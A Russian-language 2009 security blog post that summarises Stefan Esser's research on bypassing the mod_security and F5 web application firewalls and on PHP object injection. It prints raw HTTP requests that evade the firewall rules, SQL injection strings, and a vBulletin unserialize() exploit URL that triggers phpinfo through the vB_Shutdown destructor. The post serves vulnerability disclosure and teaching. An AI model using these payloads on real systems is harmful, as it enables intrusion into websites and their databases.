3 Декабря, 2009

Новые способы обхода WAF и PHP эксплоиты

Арсений Реутов

Стефан Эссер снова порадовал очередной порцией свежей информации о новых уязвимостях в своих выступлениях сразу на двух мероприятиях (RSS09 и Powerofcommunity). В частности, он поделился интересными способами обхода таких WAF как mod_security и F5 BIGIP ASM, информацией о возможных уязвимостях в продуктах, работающих на Zend Framework, а также о том, как можно использовать уязвимость, связанной с прерываниями внутренних функций в PHP, несмотря на выпущенные фиксы. Итак, обо всем по порядку.



Обход WAF стал в последнее время очень популярной темой, о чем свидетельствуют последние исследования . Как всегда, под прицелом самый известный из файрволов – mod_security.PВ последних обновлениях базового набора правил (CORERULES) были включены правила из другого не менее известного продукта из этой же категории – PHP-IDS . Однако сделано это было не совсем правильно. Например, эти правила пропускают запрос, если в его теле был обнаружен заголовок Content-Type со значением multipart/form-data, что обычно указывает на передачу файлов. Вместе с тем некоторые другие правила из CORERULES также подвержены этой ошибке, а следующий запрос полностью обходит всю фильтрацию очень простым способом:


POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx--
------xxxx
Content-Disposition: form-data; name="msg"
With only CORERULES installed you can speak about wget
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--

Примечательно, что Стефан уже публиковал advisory , в котором был предложен похожий способ, но с применением нулл-байта.


Следующий способ обхода mod_security актуален, когда помимо CORERULES используется дополнительное правило MULTIPART_STRICT_ERROR. В предложенном эксплоите, хотя и не упоминается, используется техника HTTP Parameter Pollution :


POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx
Content-Disposition: form-data; name=';filename="';name=payload;"
For ModSecurity I am a file - bypassing all rules
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--

Еще один способ обхода основывается на том, что mod_security перед анализом запроса проводит его корректирование с помощью нескольких функций, в числе которых функция для очистки запроса от комментариев. Этот способ, на самом деле, был найден впервые Дмитрием Евтеевым, так как сообщение о нем было опубликовано в его блоге немного раньше. Впрочем, предложенные примеры обхода совершенно разные, что доказывает независимость их исследований. Сравните:


index.php?x=/*&var= UNION SELECT * FROM user /*

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

Мне, например, больше нравится второй способ (от Дмитрия), так как он не вызывает ошибку при незакрытом многострочном комментарии (в версиях MySQL от 5.0.50 и 5.1.23 требуется закрывать комментарий).



Последний способ обхода WAF касается коммерческого F5 BIGIP ASM, и также связан с multipart/form-data; пример обхода смотрите в слайдах (ссылка в конце).


Следующая часть посвящена уязвимости в веб-приложениях на PHP, связанной с функцией unserialize()Pи методом классов __destruct(). ФункцияPunserialize() используется для преобразованияPсериализованных данных в значение. Она поддерживает такие типы переменных, как строка, число, массив, и, что самое главное, объект. Сериализованные данные обычно не поступают от пользователя, но если веб-приложение допускает такую возможность, то это становится очень серьезной проблемой в безопасности. Здесь стоит вспомнить очень старую уязвимость в phpbb 2.0.12, которая позволяла получить администраторские привилегии в виду неправильной проверки данных из cookie (они передавались сериализованными и без какой-либо проверки на изменения со стороны пользователя). Уязвимый код выглядел таким образом:


<?php
if( $sessiondata['autologinid'] == $auto_login_key ) {
/* ... */
}

Переменная $auto_login_key имела булево значение true, если передавались такие данные:


a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

В следующей версии phpbb баг был исправлен заменой оператора сравнения == на ===. В веб-приложениях нынешнего поколения все чаще применяется объектно-ориентированный подход, что открывает возможности для новых атак. В PHP для классов можно определить метод __destruct(), который вызывается всякий раз, когда приложение завершает свою работу (перед отправкой HTTP-ответа). Обычно в деструкторе можно встретить функции, которые завершают текущее соединение с базой данных, удаляют какие-либо временные файлы или локальные переменные. Чем же может быть интересен этот метод? А дело в том, что __destruct()P какого-либо объявленного в коде класса вызывается, если десериализовать объект этого класса. Например:


<?php
class Test {
public function __destruct() {
echo 'test';
}
}
unserialize('O:4:"Test":0:{}');

После запуска этого сценария будет выведена строка test. PКак пишет Стефан, он долго искал полезный __destruct(), и в конце концов его поиски увенчались успехом. Речь идет о Zend Framework, являющийся огромным фреймворком с массой классов с деструкторами. Сам ZF не подвержен данной уязвимости, однако приложения, базирующиеся на нем, если допускают попадание пользовательских данных в unserialize(), могут быть с легкостью скомпрометированы. Здесь и выполнение любого кода, и загрузка произвольных файлов, в общем, практически любые действия. ZF имеет очень запутанную структуру, и понять примеры Стефана довольно трудно. Поэтому я решил показать на примере VBulletin, вернее на нулленной вобле нелицензионной версии форума.


В PVBulletin имеется класс vB_Shutdown, который представляет интерфейс для удобного вызова функций при завершении работы форума. Этот класс имеет следующий деструктор:


<?php
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}

Очевидно, что создав объект этого класса со свойством shutdown равным, скажем, phpinfo, мы увидим результат работы этой функции. Вместе с этим, благоприятным является тот факт, что vbulletin активно использует сериализованные данные в параметрах. Однако система не дает просто так менять данные – имеется функция, которая проверяет их достоверность:


<?php
function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */

if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}

return false;
}

Из кода следует, что для подделки сериализованных данных необходимо знать значение константы COOKIE_SALT, которая равна лицензионному ключу. Кроме того, можно самостоятельно указать это значение путем правки конфигурационного файла ($config['Misc']['cookie_security_hash']). В нелицензионных копиях форума по умолчанию значение COOKIE_SALT пустое, поэтому данная функция не играет никакой роли.

В коде форума unserialize() встрчается множество раз, вот один из них (forumdisplay.php):


<?php
if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}

Таким образом, эксплоит для выполнения phpinfo() выглядит так:


/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Возвращаясь к Zend Framework, стоит сказать, что подобной уязвимости подвержены такие приложения как Magento, Zend Server и PHP-IDS. Последний в сочетании с ZF не только не защищал (до версии 0.6.3.1), но открывал очень простой ход на сервер, так как перед проверкой данных зачем-то пытался их десериализовать.


Вот собственно и все. В слайдах имеется еще одна часть, посвященная так называемым Interruption Vulnerabilities, с которой вы можете ознакомиться по ссылке ниже.


Shocking News In PHP Exploitation


P.S. компания Стефана выпустила постеры для разработчиков, где представлено много полезной информации о безопасном программировании на PHP. Постеры совершенно бесплатны, заказать можно здесь .